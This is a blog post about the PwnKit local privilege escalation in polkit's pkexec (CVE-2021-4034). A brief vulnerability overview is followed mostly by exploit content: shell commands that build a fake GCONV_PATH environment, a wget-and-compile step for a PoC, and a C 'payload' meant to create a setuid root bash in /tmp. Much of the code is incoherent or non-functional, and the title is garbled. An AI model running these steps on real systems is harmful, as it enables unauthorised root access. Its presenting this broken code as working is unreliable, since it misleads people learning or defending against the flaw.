Post

Pwnkit or polkit's pkexec (CVE-2021-4034)

Complete guide on Privilege e Exploitation with CVE-2021-4034.

Pwnkit or polkit's pkexec (CVE-2021-4034)

PwnKit: Local Privilege Escalation in polkit’s pkexec (CVE-2021-4034)

  • Overview
  • Introduction
  • Exploitation
  • Payload

Overview

CVE-2021-4034, commonly known as PwnKit, is a critical local privilege escalation vulnerability in Polkit’s pkexec utility.
Discovered by the Qualys Research Team and publicly disclosed on January 25, 2022.

  • Affected component: pkexec (part of Polkit, formerly PolicyKit)
  • Present in every version of Polkit since May 2009 (commit b07c5c9)
  • Default-installed on all major Linux distributions (Ubuntu, Debian, Fedora, CentOS, RHEL, etc.)
  • Severity: CVSS 7.8 (High)
  • Result: Any unprivileged local user can instantly gain full root privileges (root) without requiring additional permissions or passwords.

What is Polkit?

Polkit (PolicyKit) is a component for controlling system-wide privileges in Linux. It provides an authorization API used by systemd and many desktop environments.
pkexec is a setuid-root binary that allows authorized users to execute commands as another user (usually root) if permitted by Polkit policy.

Vulnerability Details

The bug exists in how pkexec processes command-line arguments. When pkexec is called with zero arguments (or certain malformed argument patterns), it fails to properly sanitize the environment and argument vector (argc == 0). This leads to:

  • Removal of critical environment variables (like PATH)
  • Subsequent use of the caller’s original environment variables in a privileged context
  • Ability to manipulate GCONV_PATH or LD_PRELOAD to execute arbitrary code as root

Exploitation

Exploitation is extremely simple and reliable. No special conditions required:

  • Works on default installations
  • Works even if Polkit policies deny the action
  • Works from an unprivileged shell
  • Works across different distributions and architectures

One-liner Exploit (Common Example)

1
2
3
4
5
6
7
8
9
10
11
cd /tmp
echo 'int main(){setuid(0);setgid(0);system("/bin/bash");}' > exploit.c
gcc exploit.c -o exploit
chmod +x exploit
echo -e '#!/bin/exploit\n' > fake-gconv
chmod +x fake-gconv
mkdir -p 'GCONV_PATH=.'
touch 'GCONV_PATH=./fake-gconv'
chmod +x GCONV_PATH=.
./exploit
pkexec

After running pkexec with no arguments in this crafted environment, you get a root shell.

1
2
3
4
5
# Download and run the official Qualys PoC
wget https://www.qualys.com/research/security-advisories/CVE-2021-4034.c
gcc CVE-2021-4034.c -o pwnkit
./pwnkit
# You now have a root shell

or

1
2
3
4
perl -e 'exec "/bin/sh";' >&2 2>/dev/null
# Then run:
pkexec --user root /bin/sh
# (in the crafted environment)

Payload Example (C version)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// pwnkit.c - Simple PwnKit exploit
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char *shell = 
    "#!/bin/bash\n"
    "cp /bin/bash /tmp/rootbash\n"
    "chmod +s /tmp/rootbash\n";

int main() {
    char *env[] = {shell, NULL};
    printf("[+] Creating backdoored bash...\n");
    FILE *fp = fopen("x", "w");
    fwrite(shell, strlen(shell), 1, fp);
    fclose(fp);
    chmod("x", 0755);

    char *args[] = {NULL};
    execve("/usr/bin/pkexec", args, env);
    return 0;
}

Compile & run:

1
2
3
gcc pwnkit.c -o pwnkit
./pwnkit
/tmp/rootbash -p   # now you have root
This post is licensed under CC BY 4.0 by the author.